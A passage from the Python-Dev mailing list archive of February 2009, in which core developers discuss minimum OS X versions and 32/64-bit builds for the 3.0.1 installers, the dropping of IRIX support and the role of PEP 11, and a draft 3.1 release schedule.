to be very handy. The new (in 3.0 and maybe 2.6, but undocumented) special methods __instancecheck__ and __subclasscheck__ let one overload the default behavior of isinstance and issubclass. So there is no reason to have the default behavior necessarily cover 'unusual' cases. See http://www.python.org/dev/peps/pep-3119/#overloading-isinstance-and-issubclass and http://bugs.python.org/issue5250. From ronaldoussoren at mac.com Sat Feb 14 18:35:47 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Sat, 14 Feb 2009 18:35:47 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: Message-ID: <6FC960B6-7723-4887-9342-FAC4D0C936C3@mac.com> On 14 Feb, 2009, at 12:22, Ned Deily wrote: > Speaking of an OS X installer for 3.0.1, over the last few weeks I > have > been working on tidying up the OS X installer build process. While > the > basic OS X build/installer process is good, some cruft has accumulated > over the past years and a number of mostly minor issues arose due to > the > 3.x split. IMO, the most important issues were with IDLE and, > thanks to > Ronald, we did get the most important fixes for OS X IDLE checked-in > in > time for 3.0.1; they are also in py3k and will be going into trunk and > 26. I have a few other fixes that apply just to the OSX build/ > installer > parts which did not get submitted in time for the 3.0.1 cutoff but > which > are ready to go for 3.x and 2.x. Basically they fix some version > number > updating and ensure that the installer image will be built > reproducibly > in a clean environment so there is no contamination of the installer > images. Currently, that's easy to do as happened with the first round > of the OS X 2.6 installer (e.g. with a locally installed Tcl/Tk). > They > also allow images to build for various OS X version. More on that > below. There's one problem with building with an entirely clean environment though, the 2.5 installers were build with a locally instaled Tcl/Tk on purpose. Such a build uses a locally installed Tcl/Tk when available and uses the system version when it is not. Several Tkinter users on OSX pushed heavily for that because appearently the system Tk is much less usable than the 3th-party install. I don't care much either way, IMHO the look and feel of Tk apps sucks with either version of Tcl/Tk and I don't use Tkinter anyway. > > I would like to get to the point where the OS X images can be > generated > and tested automatically. I think that is reasonable and achievable. > It's not quite there yet but I can now semi-automatically produce > images > for 2.6, 2.7 (trunk), 3.0, and 3.1 (py3k) in both the traditional > "fat" > (32-bit i386) for 10.4/10.5 and, for 10.5, "universal" (4-way 32-bit > and > 64-bit intel/ppc). They all have been passing the standard regrtest > with no new obvious (to me) regressions but I certainly won't claim to > have done complete and thorough testing. (In particular, I have no > access to a G5 for 64-bit PPC testing.) I'd love to get to the point where it's possible to completely automaticly build the installers. I noticed one issue with that that I'll fix in the near future: the current build script for the OSX installer relies on the availability of the HTML docs download on the Python ftp-site. That dependency should no longer be necessary now that the documentation is build using a pure python toolchain. > > > However the "official" OS X images are built, there is an important > issue about them that should be addressed now. That issue is which > OS > X versions should be supported by installer images. (This may well > have > been discussed before so my apologies if I am covering old ground > here.) > > > > The last Apple point release of 10.3 was in 4/2005. 10.4 was also > released then. The last Apple maintenance release of 10.4 was in > 11/2007. 10.5 was released in 10/2007 and, with subsequent update > releases, remains the current system. While no release dates have > been > announced, 10.6 (Snow Leopard) is rumored to be nearing release. If > Apple follows past practices, they will likely terminate all support > for > 10.4 (release n-2) when 10.6 releases and will continue to support > 10.5 > (n-1) for the lifetime of 10.6. Needless to say, Apple stopped > supporting 10.3 a long time ago and, if 10.6 does release in the not > too-distant future, 10.4's days are numbered. It's not just what Apple supports though, there's also the question of what people actually use. That said, unless anyone wants to step in to support 10.3 systems I'm in favour of completely dropping 10.3 support in the binary installers. The reason for that is twofold: first of all 10.3 is ancient, and more importantly I no longer have access to hardware that will run 10.3 and can therefore no longer test if 10.3 support actually works. > > What does this mean for Python? To date, there have been no official > 3.0 OS X installers released. Because of the deficiencies of building > for the long-unsupported 10.3 (the distutils bug, the lack of 64-bit > support, and probably other things I'm not aware of), I think it is > very > important that the 3.0.1 get off on the right foot by changing the > minimum supported versions now. > > > I see three plausible options: > > 1. Release an installer built for 10.5 and higher. > pros: delivers 32-support and 64-support; > cons: prematurely disenfranchises 10.4 users > > 2. Release an installer built for 10.4 and higher. > pros: one size fits all > cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc > > 3. Release two installers, one each for 10.4+ and 10.5+. > pros: supports current and future systems; > delivers 64-support to 10.5+ users; > could choose to drop 10.4 installers anytime after 10.6 > releases; > cons: some extra work to build/release > (but not much and not often); > others?? I'm in favour of providing two installers: one installer for 10.4 and higher that support 32-bit only, and one installer for 10.5 and higher that supports ppc, x86 and x86_64. Ppc64 support could be added as well, but only if someone else is willing to support that, I don't have reliable access to a ppc64 system for development. I did notice that several libraries, such as libffi (used by ctypes and pyobjc) don't work reliably on osx/ppc64. > > BTW, over on the pythonmac forum, there has been discussion of having > some Mac activities at Pycon. Ronald is planning to be there and I'm > hoping to, as well, so that could be a great opportunity to discuss > and > work on futures. And this same discussion and decision needs to be > made > going forward for 2.7 and 2.6.x (I think the change should be made for > 2.6.2). I'll be at Pycon and part of post-pycon sprint days (I'm flying back on april 1st). I had already planned to try to get a mac-related sprint going at pycon, I've added work on this on the list of possible topics. Ronald -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From ronaldoussoren at mac.com Sat Feb 14 18:44:56 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Sat, 14 Feb 2009 18:44:56 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: <4996B376.1070107@v.loewis.de> References: <4996B376.1070107@v.loewis.de> Message-ID: On 14 Feb, 2009, at 13:05, Martin v. L?wis wrote: > >> 2. Release an installer built for 10.4 and higher. >> pros: one size fits all >> cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc > > Why is it that such an installer couldn't include 64-bit support? > Wouldn't 10.4 just ignore architectures it doesn't know about? > Also, didn't 10.4 already support ppc64? 10.4 only supported 64-bit code for a very limited number of system libraries, basicly just enough to support running 64-bit number crunching code. System-wide support for 64-bit code was added in 10.5. A single installer could support both 32-bit on 10.4 and 64-bit on 10.5, but I don't think that's very useful because there are changes in the low-level unix API's that could result in different behaviour of a 32-bit and 64-bit script on the same system. In general 10.5 has much saner Unix API's than earlier releases. > > >> So, to summarize, I will build and test installer images for 3.0.1 >> built >> for 10.4+ and for 10.5+ and will make them available, if there is >> interest. If someone else is planning on making official >> installer(s), >> I'd be happy to pass along my experiences so far. In any case, I >> strongly urge that the minimum support level be 10.4. > > I still wish there were 10.3+ installers that also include 64-bit > code. > I don't get it why that can't be technically possible. The problem with 10.3 support is that we need volunteers to actually investigate and fix issues that only occur on 10.3 systems. I cannot be that volunteer because I no longer have access to systems that are capable of running 10.3. That said, the difference between a binary capable of running on 10.4+ and one running 10.3+ is minimal. I introduced weak-linking for a number of symbols that are not present on 10.3.9 in the 2.5 timeframe and that could should continue to work in the future. I won't notice when someone introduces additional calls to functions not available on 10.3 though. Ronald -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From guido at python.org Sat Feb 14 18:59:22 2009 From: guido at python.org (Guido van Rossum) Date: Sat, 14 Feb 2009 09:59:22 -0800 Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology) In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> <4996CE7C.9080109@v.loewis.de> Message-ID: Irix is long dead and we don't support it in any form or version. On Sat, Feb 14, 2009 at 9:07 AM, Terry Reedy wrote: > Can http://bugs.python.org/issue995458 > "Does not build selected SGI specific modules"be closed? > > PEP11 lists Irix 4 as gone. What about Irix 6? > http://www.python.org/dev/peps/pep-0011/ > > Pep3108 notes that IRIX is no longer produced as of Dec 2006 and that Irix > specific modules are gone from Py3. > http://www.python.org/dev/peps/pep-3108/#irix > Does Py3 still have Irix 6 support? > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From martin at v.loewis.de Sat Feb 14 19:04:16 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 19:04:16 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: <4996B376.1070107@v.loewis.de> Message-ID: <499707A0.7000200@v.loewis.de> > A single installer could support both 32-bit on 10.4 and 64-bit on > 10.5, but I don't think that's very useful because there are changes > in the low-level unix API's that could result in different behaviour > of a 32-bit and 64-bit script on the same system. In general 10.5 has > much saner Unix API's than earlier releases. I don't get that. Why would the scripts behave differently on 10.5 depending on whether the Python interpreter is 32-bit or 64-bit? Surely, the Unix API does the same thing, whether invoked from 32-bit code, or 64-bit code, no? >> I still wish there were 10.3+ installers that also include 64-bit >> code. I don't get it why that can't be technically possible. > > The problem with 10.3 support is that we need volunteers to actually > investigate and fix issues that only occur on 10.3 systems. I cannot > be that volunteer because I no longer have access to systems that are > capable of running 10.3. I don't think it is necessary to actually test whether the binaries work on 10.3; I don't test the Windows installers on Windows 2000, either. For me, it's good enough if we believe that the installer "should" work on 10.3. Then, if somebody reports a problem, we can still consider what to do. If there are no reports, it either means there are no problems, or nobody uses it, or nobody bothers reporting the problems. > That said, the difference between a binary capable of running on > 10.4+ and one running 10.3+ is minimal. I introduced weak-linking for > a number of symbols that are not present on 10.3.9 in the 2.5 > timeframe and that could should continue to work in the future. I > won't notice when someone introduces additional calls to functions > not available on 10.3 though. Sounds good to me! Regards, Martin From tjreedy at udel.edu Sat Feb 14 19:09:12 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 14 Feb 2009 13:09:12 -0500 Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology) In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> <4996CE7C.9080109@v.loewis.de> Message-ID: Guido van Rossum wrote: > Irix is long dead and we don't support it in any form or version. > > On Sat, Feb 14, 2009 at 9:07 AM, Terry Reedy wrote: >> Can http://bugs.python.org/issue995458 >> "Does not build selected SGI specific modules"be closed? >> >> PEP11 lists Irix 4 as gone. What about Irix 6? >> http://www.python.org/dev/peps/pep-0011/ >> >> Pep3108 notes that IRIX is no longer produced as of Dec 2006 and that Irix >> specific modules are gone from Py3. >> http://www.python.org/dev/peps/pep-3108/#irix >> Does Py3 still have Irix 6 support? I closed the tracker issue. I will let Martin update PEP11. From ajaksu at gmail.com Sat Feb 14 19:14:09 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Sat, 14 Feb 2009 16:14:09 -0200 Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology) In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> <4996CE7C.9080109@v.loewis.de> Message-ID: <2d75d7660902141014m67a50baftba0058b9505978b9@mail.gmail.com> Terry Reedy wrote: > Can http://bugs.python.org/issue995458 > "Does not build selected SGI specific modules"be closed? > > PEP11 lists Irix 4 as gone. What about Irix 6? > http://www.python.org/dev/peps/pep-0011/ Thank you, thank you, thank you :) Can I close these other IRIX issues? http://bugs.python.org/issue2048 http://bugs.python.org/issue1086642 http://bugs.python.org/issue1178510 http://bugs.python.org/issue1070140 Do you know of other OSes (among commercial Unix, mostly) that could also get the axe? Regards, Daniel From stephen at xemacs.org Sat Feb 14 19:19:57 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Sun, 15 Feb 2009 03:19:57 +0900 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: <87d4dls06q.fsf@xemacs.org> Message-ID: <878wo8swxe.fsf@xemacs.org> Guido van Rossum writes: > Actually I expect that to be fairly common among people who are not so > much into technology, strapped for funds but appreciative of quality, > bought an expensive Mac once expecting it would last a long time, and > are hanging on to it until it dies (which could be a long time). Their > hardware may not support newer OS X versions. I'm quite familiar with that. Thing is, although I still have a Panther box running, I gave up on updating *anything* on it when Leopard came out, because I had to spend too much time fighting with bitrot in packages which stopped working after upgrades on my Tiger box, let alone on Panther. The Panther box still does the stuff that I want it to do, but it isn't going to learn any new tricks, I'm afraid. If that is a more general phenomenon, I have to wonder whether people with old Macs with old OSes are going to be all that interested in shiny new Pythons. I think that the extra effort of building an extra installer for 10.4 will be well-repaid in better support for 10.5 users, and the option of abandoning the 10.4 installer in a few months if it doesn't get very many downloads. From nad at acm.org Sat Feb 14 19:44:44 2009 From: nad at acm.org (Ned Deily) Date: Sat, 14 Feb 2009 10:44:44 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: <4996B376.1070107@v.loewis.de> <499707A0.7000200@v.loewis.de> Message-ID: In article <499707A0.7000200 at v.loewis.de>, "Martin v. Lowis" wrote: > > That said, the difference between a binary capable of running on > > 10.4+ and one running 10.3+ is minimal. I introduced weak-linking for > > a number of symbols that are not present on 10.3.9 in the 2.5 > > timeframe and that could should continue to work in the future. I > > won't notice when someone introduces additional calls to functions > > not available on 10.3 though. > > Sounds good to me! That's fine as long as the distutils issue is resolved. I believe the way things stand today is that a "fat" Python built with a deployment target of 10.3 will report a platform of "ppc" or "i386" even on 10.4 or 10.5 systems and even though the extensions are, in fact, "fat". This means developers who provide uploads to PyPI of packages with C extensions have to upload two versions even though the contents of both can be identical. (The appscript has run into this problem.) And it causes maintenance issues for users with multiple architectures. With the target set to 10.4, the platform is reported correctly as "fat". And, for 10.5 4-way, "universal". -- Ned Deily, nad at acm.org From ronaldoussoren at mac.com Sat Feb 14 19:53:37 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Sat, 14 Feb 2009 19:53:37 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: <499707A0.7000200@v.loewis.de> References: <4996B376.1070107@v.loewis.de> <499707A0.7000200@v.loewis.de> Message-ID: On 14 Feb, 2009, at 19:04, Martin v. L?wis wrote: >> A single installer could support both 32-bit on 10.4 and 64-bit on >> 10.5, but I don't think that's very useful because there are changes >> in the low-level unix API's that could result in different behaviour >> of a 32-bit and 64-bit script on the same system. In general 10.5 has >> much saner Unix API's than earlier releases. > > I don't get that. Why would the scripts behave differently on 10.5 > depending on whether the Python interpreter is 32-bit or 64-bit? > Surely, the Unix API does the same thing, whether invoked from 32-bit > code, or 64-bit code, no? I should have been more clear: the unix API for code that runs on 10.4 is slightly different than that for code that runs on 10.5+, Apple basiclly fixed a number of UNIX API-compliance issues in 10.5. Those differences might affect the behaviour of the Python interpreter, and at least would make the configure stage even more involved for such a build, because several configure-checks give different output for MACOSX_DEPLOYMENT_TARGET=10.4 and MACOSX_DEPLOYMENT_TARGET=10.5. I haven't checked yet if it is even possible to have a 64-bit binary that runs on 10.4 and 10.5. > > >>> I still wish there were 10.3+ installers that also include 64-bit >>> code. I don't get it why that can't be technically possible. >> >> The problem with 10.3 support is that we need volunteers to actually >> investigate and fix issues that only occur on 10.3 systems. I cannot >> be that volunteer because I no longer have access to systems that are >> capable of running 10.3. > > I don't think it is necessary to actually test whether the binaries > work on 10.3; I don't test the Windows installers on Windows 2000, > either. For me, it's good enough if we believe that the installer > "should" work on 10.3. > > Then, if somebody reports a problem, we can still consider what to do. > If there are no reports, it either means there are no problems, or > nobody uses it, or nobody bothers reporting the problems. I'm not 100% happy with this, but I could live with this. As long as Apple ships a 10.3 SDK I might even be able to check for unsupported API calls once in while. Having thought a little more about the issues, I do think that we should provide an installer that runs on as many systems as possible. As Guido noted many people don't bother to upgrade, and I'd expect many schools to be that category as well (as an example of a type of organisation that's often lacking in funding). I need more time to think about the options, and I don't think there's a reason to rush this and would prefer to discuss this issue at Pycon. Ronald -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From nad at acm.org Sat Feb 14 19:54:33 2009 From: nad at acm.org (Ned Deily) Date: Sat, 14 Feb 2009 10:54:33 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: <87d4dls06q.fsf@xemacs.org> <878wo8swxe.fsf@xemacs.org> Message-ID: In article <878wo8swxe.fsf at xemacs.org>, "Stephen J. Turnbull" wrote: > Guido van Rossum writes: > > > Actually I expect that to be fairly common among people who are not so > > much into technology, strapped for funds but appreciative of quality, > > bought an expensive Mac once expecting it would last a long time, and > > are hanging on to it until it dies (which could be a long time). Their > > hardware may not support newer OS X versions. > > I'm quite familiar with that. Thing is, although I still have a > Panther box running, I gave up on updating *anything* on it when > Leopard came out, because I had to spend too much time fighting with > bitrot in packages which stopped working after upgrades on my Tiger > box, let alone on Panther. The Panther box still does the stuff that > I want it to do, but it isn't going to learn any new tricks, I'm > afraid. > > If that is a more general phenomenon, I have to wonder whether people > with old Macs with old OSes are going to be all that interested in > shiny new Pythons. > > I think that the extra effort of building an extra installer for 10.4 > will be well-repaid in better support for 10.5 users, and the option > of abandoning the 10.4 installer in a few months if it doesn't get > very many downloads. You mentioned MacPorts earlier. FWIW, here's their position on version support: "We provide a single software tree that attempts to track the latest release of every software title (port) we distribute, without splitting them into "stable" Vs. "unstable" branches, targetting mainly the current Mac OS X release (10.5, A.K.A Leopard) and the immediately previous one (10.4, A.K.A. Tiger)." And Fink, the other major open-source package provider for OS X, is even more explicit: "The Fink project is no longer able to offer support for users of Fink on Mac OS X 10.3. In reality there has been very little support for some time, so this announcement simply formalizes that fact. This means that there will not be any further updates, not even security updates, for Mac OS X 10.3 users. Their existing installations will continue to work, but the software that is installed will not be updated. We believe that the majority of our users are using Mac OS X 10.4 or 10.5 and hope that this does not inconvenience too many people." -- Ned Deily, nad at acm.org From brett at python.org Sat Feb 14 19:56:04 2009 From: brett at python.org (Brett Cannon) Date: Sat, 14 Feb 2009 10:56:04 -0800 Subject: [Python-Dev] The fate of 3.0.* In-Reply-To: References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Message-ID: Don't rely on me getting importlib bootstrapped in by 3.1. It would be great if I pull it off, but I am afraid that is being optimistic. The library itself should definitely be done, though. On Feb 13, 2009 7:56 PM, "Antoine Pitrou" wrote: Benjamin Peterson python.org> writes: > > Are we going to keep developing the 3.0 ma... Focusing on 3.1 should be ok. So what are the expected efforts for 3.1? - io-in-C - import-in-Python - ... anything else? Regards Antoine. _______________________________________________ Python-Dev mailing list Python-Dev at python.org http... -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin at v.loewis.de Sat Feb 14 19:59:39 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 19:59:39 +0100 Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology) In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> <4996CE7C.9080109@v.loewis.de> Message-ID: <4997149B.4000804@v.loewis.de> Terry Reedy wrote: > Guido van Rossum wrote: >> Irix is long dead and we don't support it in any form or version. > > I closed the tracker issue. I will let Martin update PEP11. I think you misunderstand the purpose of PEP 11. It is not meant as a repository of platforms not longer supported, but a list of announcements of which systems will not be supported anymore in *upcoming* releases. It seems that the removal of Irix support has bypassed PEP 11. Perhaps the PEP should be withdrawn. Regards, Martin From ronaldoussoren at mac.com Sat Feb 14 20:00:41 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Sat, 14 Feb 2009 20:00:41 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: <4996B376.1070107@v.loewis.de> <499707A0.7000200@v.loewis.de> Message-ID: <7F8CAC31-2A32-412C-A0C2-77919B8EA51A@mac.com> On 14 Feb, 2009, at 19:44, Ned Deily wrote: > In article <499707A0.7000200 at v.loewis.de>, > "Martin v. Lowis" wrote: >>> That said, the difference between a binary capable of running on >>> 10.4+ and one running 10.3+ is minimal. I introduced weak-linking >>> for >>> a number of symbols that are not present on 10.3.9 in the 2.5 >>> timeframe and that could should continue to work in the future. I >>> won't notice when someone introduces additional calls to functions >>> not available on 10.3 though. >> >> Sounds good to me! > > That's fine as long as the distutils issue is resolved. I believe the > way things stand today is that a "fat" Python built with a deployment > target of 10.3 will report a platform of "ppc" or "i386" even on > 10.4 or > 10.5 systems and even though the extensions are, in fact, "fat". This > means developers who provide uploads to PyPI of packages with C > extensions have to upload two versions even though the contents of > both > can be identical. (The appscript has run into this problem.) And it > causes maintenance issues for users with multiple architectures. > > With the target set to 10.4, the platform is reported correctly as > "fat". And, for 10.5 4-way, "universal". Please file an issue for this at the python tracker. The intended behaviour is that the reported platform is the platform that distutils can build for on the current machine (ppc only on 10.3, "fat" on 10.4 and "universal" on 10.5, given a 4-way build of python). Getting the experience entire correct probably requires changes to other tools as well (such as setuptools, it should be taught that a "universal" egg can satisify a dependency when the current platform is "fat" or "ppc". Issues like this is why I've asked on the pythonmac-sig if anyone is interested on sprinting on macpython at Pycon. Getting these things correct takes time and is much easier when several people can work on it at the same location. Ronald -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From aleaxit at gmail.com Sat Feb 14 20:01:39 2009 From: aleaxit at gmail.com (Alex Martelli) Date: Sat, 14 Feb 2009 11:01:39 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: Message-ID: On Sat, Feb 14, 2009 at 3:22 AM, Ned Deily wrote: ... > have done complete and thorough testing. (In particular, I have no > access to a G5 for 64-bit PPC testing.) I have a PowerMac G5 at home and I'll be glad to run tests if it helps. (It runs 10.5: "family pack" licenses are cheap, so I've always routinely upgraded all my home Macs to recent OSX releases). (I'm not home during the weekend though). Alex From martin at v.loewis.de Sat Feb 14 20:15:25 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 20:15:25 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: <4996B376.1070107@v.loewis.de> <499707A0.7000200@v.loewis.de> Message-ID: <4997184D.7040306@v.loewis.de> Ronald Oussoren wrote: > > On 14 Feb, 2009, at 19:04, Martin v. L?wis wrote: > >>> A single installer could support both 32-bit on 10.4 and 64-bit on >>> 10.5, but I don't think that's very useful because there are changes >>> in the low-level unix API's that could result in different behaviour >>> of a 32-bit and 64-bit script on the same system. In general 10.5 has >>> much saner Unix API's than earlier releases. >> >> I don't get that. Why would the scripts behave differently on 10.5 >> depending on whether the Python interpreter is 32-bit or 64-bit? >> Surely, the Unix API does the same thing, whether invoked from 32-bit >> code, or 64-bit code, no? > > I should have been more clear: the unix API for code that runs on > 10.4 is slightly different than that for code that runs on 10.5+, Apple > basiclly fixed a number of UNIX API-compliance issues in 10.5. So how come? Are you really saying that 10.5 somehow knows whether the code might also run on 10.4, and if so, deliberately behaves differently? So that a Python interpreter compiled for 10.4+ would behave differently on a specific 10.5 installation than a Python interpreter compiled for 10.5+, on the very same system? If so, I'm -1 on providing two sets of binaries for the same Python version (one in 10.4+ mode and one in 10.5+ mode). Otherwise, this sounds like a good source of confusion: "are you using Python 3.1 as compiled for 10.4 or 3.1 as compiled for 10.5?" - "well, how do I tell?" Is this Apple's DLL hell? Regards, Martin From greg.ewing at canterbury.ac.nz Sat Feb 14 20:53:31 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sun, 15 Feb 2009 08:53:31 +1300 Subject: [Python-Dev] Small misleadingness in docs In-Reply-To: References: <49961E01.7000109@canterbury.ac.nz> <4996B2E9.8080600@canterbury.ac.nz> Message-ID: <4997213B.20800@canterbury.ac.nz> Terry Reedy wrote: > The new (in 3.0 and maybe 2.6, but undocumented) special methods > __instancecheck__ and __subclasscheck__ let one overload the default > behavior of isinstance and issubclass. That's fine for 3.0, but I don't think the current behaviour should be removed from any 2.x version, as it would make writing code that works over multiple 2.x versions difficult. -- Greg From martin at v.loewis.de Sat Feb 14 21:04:29 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 21:04:29 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: <4996B376.1070107@v.loewis.de> <499707A0.7000200@v.loewis.de> Message-ID: <499723CD.80404@v.loewis.de> > That's fine as long as the distutils issue is resolved. I don't think this should be a prerequisite. As Ronald says: no fix without a bug report; if the system is capable of building the extension correctly, it should do so (so it's a bug and fixes can be backported to 2.6) Regards, Martin From nad at acm.org Sat Feb 14 22:11:09 2009 From: nad at acm.org (Ned Deily) Date: Sat, 14 Feb 2009 13:11:09 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: <4996B376.1070107@v.loewis.de> <499707A0.7000200@v.loewis.de> <499723CD.80404@v.loewis.de> Message-ID: In article <499723CD.80404 at v.loewis.de>, "Martin v. Lowis" wrote: > > That's fine as long as the distutils issue is resolved. > I don't think this should be a prerequisite. As Ronald says: no fix > without a bug report; if the system is capable of building the extension > correctly, it should do so (so it's a bug and fixes can be backported > to 2.6) And it turns out it should not be a problem for 3.x (and future releases of 2.x). Ronald fixed it several weeks ago here: Python 3.0.1 (r301:69597, Feb 14 2009, 19:03:52) [GCC 4.0.1 (Apple Inc. build 5490)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from distutils.util import get_platform; print(get_platform()) macosx-10.3-fat >>> My apologies to Ronald and the cohort for not re-examining this recently. The distutils "problem" isn't anymore. -- Ned Deily, nad at acm.org From benjamin at python.org Sat Feb 14 21:29:53 2009 From: benjamin at python.org (Benjamin Peterson) Date: Sat, 14 Feb 2009 14:29:53 -0600 Subject: [Python-Dev] draft 3.1 release schedule Message-ID: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> Here's a very tentative 3.1 release schedule. 3.1a1 March 7 (Saturday) 3.1a2 April 11 (Saturday) 3.1b1 May 2 (Saturday) 3.1b2 May 23 (Saturday) 3.1rc1 June 13 (Saturday) 3.1rc2 June 27 (Saturday) I'm interested in your feedback with regards to the amount of time in beta and RC phase. Do you think we need that much time? Otherwise, we could move the final release back sometime in mid June. -- Regards, Benjamin From tjreedy at udel.edu Sat Feb 14 23:44:58 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 14 Feb 2009 17:44:58 -0500 Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology) In-Reply-To: <4997149B.4000804@v.loewis.de> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> <4996CE7C.9080109@v.loewis.de> <4997149B.4000804@v.loewis.de> Message-ID: Martin v. L?wis wrote: > Terry Reedy wrote: >> Guido van Rossum wrote: >>> Irix is long dead and we don't support it in any form or version. >> I closed the tracker issue. I will let Martin update PEP11. > > I think you misunderstand the purpose of PEP 11. It is not meant > as a repository of platforms not longer supported, However, that would be a useful purpose for people doing triage on tracker issues. > but a list of > announcements of which systems will not be supported anymore in > *upcoming* releases. > > It seems that the removal of Irix support has bypassed PEP 11. If the complete end of Irix support had been documented, I would not have had to ask and several other issues would have already been closed. > Perhaps the PEP should be withdrawn. Please no. tjr From bcannon at gmail.com Sun Feb 15 07:07:07 2009 From: bcannon at gmail.com (Brett Cannon) Date: Sat, 14 Feb 2009 22:07:07 -0800 Subject: [Python-Dev] clarifying PEP 302 loader responsibilities upon failure In-Reply-To: References: <0016364c5b2fb9b7de0462837147@google.com> Message-ID: On Mon, Feb 9, 2009 at 14:02, Guido van Rossum wrote: > On Mon, Feb 9, 2009 at 1:56 PM, wrote: > > Guido and I were discussing what a loader should be responsible for when > > load_module is called and an exception is raised in relation to > sys.modules > > as PEP 302 says nothing about the topic. > > > > We both agree that if the loader added a module to sys.modules it should > be > > removed, otherwise it should be left alone. > > > > Assuming no one disagrees I will update the PEP to specify that this is > the > > expected job of loaders. > > (Note that currently most loaders we've looked 